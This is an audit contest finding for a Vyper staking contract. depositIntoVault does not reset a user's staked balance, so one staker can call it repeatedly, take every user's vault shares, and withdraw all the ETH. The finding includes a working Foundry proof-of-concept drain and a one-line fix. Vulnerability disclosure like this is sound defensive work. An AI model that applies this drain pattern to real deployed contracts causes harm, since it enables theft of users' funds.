Beginner FriendlyFoundryDeFi
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can steal all funds from the protocol

Summary

Since the usersToStakes is not adjusted when the user calls Steaking::depositIntoVault, with little stake, an attacker can drain the protocol completely and she can continue to do that if other users continue to stake in the protocol even in the future.

Vulnerability Details

As far as the attacker's usersToStakes balance is not zero and there are staked ETH in the protocol, if the attacker calls Steaking::depositIntoVault repeatedly, she can drain the protocol of all the ETH staked in it. thereby claiming all the sharesReceived which she will use to call ERC4626::withdraw on the vault and withdraw all user's funds.

This exploit is possible because the usersToStakes is not adjusted accordingly when users call Steaking::depositIntoVault function, hence a user can continue to deposit into vault repeatedly and claim shares until she drains all the staked ETH available in the protocol.

PoC

foundry test for the vulnerability

function test_StealAllStakedEthFromProtocol() public {
// asumming some protocol users staked 5 eth in total
for(uint i; i < 5; ++i){
address user = makeAddr(Strings.toString(i));
_stake(user, 1 ether, user);
}
// ==>attacker stakes 1eth and uses it to drain the vault
address attacker = makeAddr("attacker");
// let's assume user1 stakes ONLY 1 ethers
_startVaultDepositPhase(attacker, 1 ether, attacker);
// attacker deposits all ETH including his 1eth in the protocol into the WethVault,
// thereby claiming all vaultShares for the other users plus his own
vm.startPrank(attacker);
for(uint256 i = 0; i < 6; ++i) {
steaking.depositIntoVault();
}
uint256 attackerVaultShares = wethSteakVault.balanceOf(attacker);
// withdraws all the weth deposited into the vault
wethSteakVault.withdraw(attackerVaultShares, address(attacker), address(attacker));
vm.stopPrank();
// his steakBalance in the protocol still remains intact, meaning he can continue to use it
// to drain the protocol if more people stake in the protocol
uint256 userSteakBalance = steaking.usersToStakes(attacker);
uint256 attackerWethBalAfterExploit = weth.balanceOf(attacker);
assertEq(userSteakBalance, 1 ether);
assertEq(attackerWethBalAfterExploit, 6 ether);
// assertEq(wethSteakVaultShares, attackerTotalVaultShare);
}

Impact

  • loss of funds for users

  • Protocol will become insolvent

Tools Used

  • manual review

  • foundry test

Recommendations

@external
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
stakedAmount: uint256 = self.usersToStakes[msg.sender]
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
+ self.usersToStakes[msg.sender] -= stakedAmount
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`Steaking:depositIntoVault` fails to update the users balance allowing contract draining to repeat call

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.